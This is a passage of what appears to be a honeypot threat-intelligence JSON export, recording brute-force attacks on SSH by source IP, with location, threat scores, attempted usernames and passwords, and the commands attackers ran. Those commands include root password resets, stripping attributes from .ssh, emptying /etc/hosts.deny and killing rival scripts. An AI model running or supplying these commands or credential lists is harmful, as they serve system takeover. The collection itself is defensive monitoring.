        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T19:22:03.367000+00:00",
        "last_seen_30d": "2026-04-12T20:04:12.861000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 66
      }
    },
    "125.16.27.190": {
      "attack_count": 236,
      "first_seen": "2026-04-02T09:43:13.461Z",
      "last_seen": "2026-04-02T10:57:03.291Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A1B2C3",
        "AA#123456",
        "AA000",
        "Aa121212",
        "Ab003",
        "Abc@12",
        "Abcd123",
        "Efghi123456",
        "Huaweipassword123",
        "Login2026",
        "Qq$123",
        "Qq2222",
        "Root11111",
        "System12",
        "password@123",
        "qwertyRoot123",
        "root*123",
        "root12345!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:cvun70QeXZFI\"|chpasswd|bash",
        "echo \"root:qKxxGJg8LOfV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:43:13.461000+00:00",
        "last_seen_30d": "2026-04-02T10:58:03.792000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 60
      }
    },
    "103.62.153.11": {
      "attack_count": 204,
      "first_seen": "2026-04-25T06:58:27.746Z",
      "last_seen": "2026-04-25T07:30:38.853Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ftpuser",
        "seekcy",
        "steam",
        "345gs5662d34",
        "andong",
        "claude",
        "jordan",
        "luke",
        "mehdi",
        "milad",
        "newuser",
        "odoo",
        "satya",
        "server",
        "sysadmin"
      ],
      "passwords_attempted": [
        "1",
        "123$qwer",
        "1qaz@2WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Claude06!",
        "Frappe13!",
        "He123456789",
        "Joysuch@Locate2020",
        "Password123!@#",
        "Password@",
        "Qwe12345678",
        "Root!123",
        "Steam21!",
        "Ww123456!",
        "andong123",
        "deploypassword",
        "jordan",
        "luke",
        "mehdi123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Joysuch@Locate2020\\ngWV0tpN7rr9W\\ngWV0tpN7rr9W\\n\"|passwd",
        "echo -e \"Joysuch@Locate2020\\ngWV0tpN7rr9W\\ngWV0tpN7rr9W\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 134788,
      "as_org": "Parasat Cable TV, Inc",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T06:58:27.746000+00:00",
        "last_seen_30d": "2026-04-25T07:31:45.894000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 65
      }
    },
    "102.208.34.7": {
      "attack_count": 199,
      "first_seen": "2026-04-21T22:03:37.004Z",
      "last_seen": "2026-04-21T23:03:10.213Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "git",
        "user",
        "345gs5662d34",
        "admin1234",
        "build",
        "cisco",
        "dev",
        "erpnext",
        "steam",
        "teamspeak",
        "test",
        "test1",
        "testtest",
        "ubuntu",
        "vboxuser",
        "webadmin",
        "zhangwei"
      ],
      "passwords_attempted": [
        "0000000",
        "123123123",
        "2026",
        "3245gs5662d34",
        "345gs5662d34",
        "Cl123456.",
        "Dev15!",
        "J5cmmu=Kyf0-br8CsW",
        "QWer1234",
        "Zaq!2wsxcde3",
        "Zhiyu@123",
        "admin1234",
        "admin1234567@@",
        "build",
        "cisco",
        "password",
        "qazwsx12345678$",
        "qweasd",
        "root",
        "root12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123123123\\nT08c9NFom7JE\\nT08c9NFom7JE\\n\"|passwd",
        "echo -e \"123123123\\nT08c9NFom7JE\\nT08c9NFom7JE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Botswana",
      "country_code": "BW",
      "city": null,
      "asn": 329473,
      "as_org": "Click-Connect",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T22:03:37.004000+00:00",
        "last_seen_30d": "2026-04-21T23:04:19.290000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 62
      }
    },
    "171.25.158.24": {
      "attack_count": 199,
      "first_seen": "2026-04-23T03:05:50.609Z",
      "last_seen": "2026-04-23T03:55:53.115Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "webuser",
        "345gs5662d34",
        "admin1234",
        "fileuser",
        "frappeuser",
        "hduser",
        "magento_user",
        "oracle",
        "postgres",
        "shreya",
        "user1"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "6666",
        "Aa1234&",
        "Abcd@1234",
        "Admin2026#",
        "Oracle!@#",
        "P@ssw0rd2026!",
        "Postgres02",
        "QWER!123456",
        "Qq147258369",
        "Qwer@4321",
        "Qwertyuiop123",
        "Test27",
        "Xu123456",
        "Xx123456@",
        "a1b2c3",
        "admin1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"webuser@123\\nlEW4TWPvd3xy\\nlEW4TWPvd3xy\\n\"|passwd",
        "echo -e \"webuser@123\\nlEW4TWPvd3xy\\nlEW4TWPvd3xy\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 265,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T03:05:50.609000+00:00",
        "last_seen_30d": "2026-04-23T03:57:01.058000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 66
      }
    },
    "186.146.235.58": {
      "attack_count": 195,
      "first_seen": "2026-04-24T21:46:18.340Z",
      "last_seen": "2026-04-24T22:33:19.906Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "steam",
        "teamspeak",
        "ubuntu",
        "345gs5662d34",
        "hemant",
        "mainuser",
        "nikita",
        "odoo",
        "rohit",
        "suser",
        "userftp"
      ],
      "passwords_attempted": [
        "123456",
        "12345",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456789",
        "ABC!@#123",
        "Aa112211.",
        "Postgres12345",
        "Postgres3",
        "Qazwsx12345678@#",
        "hemant@123",
        "nPSpP4PBW0",
        "nico",
        "nikita",
        "odoo!",
        "qazwsx123!@#",
        "qwert@12345",
        "qwerty$",
        "teamspeak08"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test\\n3Lil9snj2TPm\\n3Lil9snj2TPm\\n\"|passwd",
        "echo -e \"test\\n3Lil9snj2TPm\\n3Lil9snj2TPm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T21:46:18.340000+00:00",
        "last_seen_30d": "2026-04-24T22:37:31.501000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 195,
        "Suricata": 67
      }
    },
    "103.195.103.218": {
      "attack_count": 194,
      "first_seen": "2026-04-18T01:28:16.873Z",
      "last_seen": "2026-04-18T02:05:54.461Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "factorio",
        "steam",
        "test",
        "345gs5662d34",
        "ali",
        "deploy",
        "frappe",
        "gittest",
        "kontakt",
        "postgres",
        "pymes",
        "simon",
        "test001",
        "tmpuser",
        "ubuntu",
        "user1",
        "user42",
        "userx"
      ],
      "passwords_attempted": [
        "123456",
        "!qazXsw2",
        "123654",
        "12qwaszx",
        "2026",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456789@#",
        "Pass2023",
        "ZAQ!2wsx2026$",
        "ali14",
        "asdf",
        "cc1234",
        "factorio",
        "hao123.com",
        "kontakt",
        "qwe123",
        "root4321!!",
        "server123",
        "simon123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"factorio\\n2FiwKEYutFfw\\n2FiwKEYutFfw\\n\"|passwd",
        "echo -e \"factorio\\n2FiwKEYutFfw\\n2FiwKEYutFfw\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T01:28:16.873000+00:00",
        "last_seen_30d": "2026-04-18T02:06:59.031000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 61
      }
    },
    "222.110.147.58": {
      "attack_count": 193,
      "first_seen": "2026-04-03T15:11:17.872Z",
      "last_seen": "2026-04-03T16:18:48.660Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "etluser",
        "ftpuser",
        "345gs5662d34",
        "deployer",
        "omkar",
        "prometheus",
        "pt",
        "sergio",
        "testserver",
        "ubuntu",
        "user",
        "user3",
        "vpn"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "12345",
        "123456.Aa",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin1234567@",
        "Oracle12",
        "Qazwsx2022#$",
        "Qwert!",
        "Qwert123!",
        "ftpuser08",
        "key",
        "nigga",
        "omkar",
        "p4$$w0rd",
        "prometheus",
        "pt123",
        "qazwsx999@@",
        "qwerty"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nllgcZ2EY9ZfD\\nllgcZ2EY9ZfD\\n\"|passwd",
        "echo -e \"12345\\nllgcZ2EY9ZfD\\nllgcZ2EY9ZfD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T15:11:17.872000+00:00",
        "last_seen_30d": "2026-04-03T16:19:54.645000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 67
      }
    },
    "20.123.146.94": {
      "attack_count": 182,
      "first_seen": "2026-04-04T07:42:22.092Z",
      "last_seen": "2026-04-29T10:37:38.155Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "docker",
        "kafka",
        "steamsrv",
        "suporte"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234rfv",
        "1qaz2wsx",
        "3edc4rfv",
        "P@ssw9rd",
        "Qazwsx2026..",
        "Qazwsx321!",
        "Test12345678",
        "steamsrv",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"3edc4rfv\\ntqcdhQnVrG6m\\ntqcdhQnVrG6m\\n\"|passwd",
        "echo \"root:su6VviZulLpv\"|chpasswd|bash",
        "echo -e \"3edc4rfv\\ntqcdhQnVrG6m\\ntqcdhQnVrG6m\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.3,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:42:22.092000+00:00",
        "last_seen_30d": "2026-04-29T10:38:43.125000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 33
      }
    },
    "38.253.239.21": {
      "attack_count": 172,
      "first_seen": "2026-04-27T05:49:13.480Z",
      "last_seen": "2026-04-27T06:07:45.084Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "root1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%12345",
        "!@#qweASDzxc",
        "0p3nv1x-01!",
        "123qweASDF321",
        "2024@lekLAeLK",
        "@thl0n",
        "Asdfgh123",
        "Dell",
        "Pa55word1",
        "articon",
        "chinacache123",
        "dinglicom123!@",
        "esroot",
        "golfer",
        "p@ssw0rd!@",
        "password@123456",
        "plmoknijbuhvygc:",
        "root1.2026"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "South Jakarta",
      "asn": 141146,
      "as_org": "PT Indonesia Telekomunikasi Teknologi",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T05:49:13.480000+00:00",
        "last_seen_30d": "2026-04-27T06:08:50.616000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 60
      }
    },
    "20.40.73.192": {
      "attack_count": 168,
      "first_seen": "2026-04-01T14:53:40.526Z",
      "last_seen": "2026-04-01T16:11:11.495Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "09876",
        "3245gs5662d34",
        "345gs5662d34",
        "AAAA1",
        "Aa1234-",
        "Ab123!@#",
        "Am123456",
        "Bcd@123456",
        "Control1",
        "June12345",
        "Mm12345",
        "Qq-123",
        "Root2026!",
        "UU123456",
        "abc202401",
        "abcde12345",
        "admin123!",
        "huawei202601",
        "qwe123qwe",
        "qwerty002"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:EbtjpjaOZHFK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T14:53:40.526000+00:00",
        "last_seen_30d": "2026-04-01T16:12:15.880000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "210.90.155.178": {
      "attack_count": 168,
      "first_seen": "2026-04-26T21:21:15.172Z",
      "last_seen": "2026-04-26T21:46:41.105Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "inspur"
      ],
      "passwords_attempted": [
        "123!@#qweg",
        "1qaz2wsxEDC$RFVg",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin1234%^",
        "Airport123",
        "BJctyun123",
        "Iftp12369",
        "MirelaGeorgeAna",
        "V&gt;m1&gt;WEV0,q-lqV",
        "a8vhs5as8xfyew76tfs",
        "abcd12345!",
        "angel2024",
        "founderbn@2025",
        "ftpadmin123",
        "le@147258",
        "passwd!@$",
        "root123",
        "sandy",
        "santiago"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:CMgW8r8zErtr\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T21:21:15.172000+00:00",
        "last_seen_30d": "2026-04-26T21:47:49.407000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "212.47.75.255": {
      "attack_count": 163,
      "first_seen": "2026-04-02T03:42:38.993Z",
      "last_seen": "2026-04-02T04:52:06.253Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456789Ab",
        "123@.com",
        "123gogogo",
        "1qaz@WSX3edc",
        "2026@Admin",
        "3245gs5662d34",
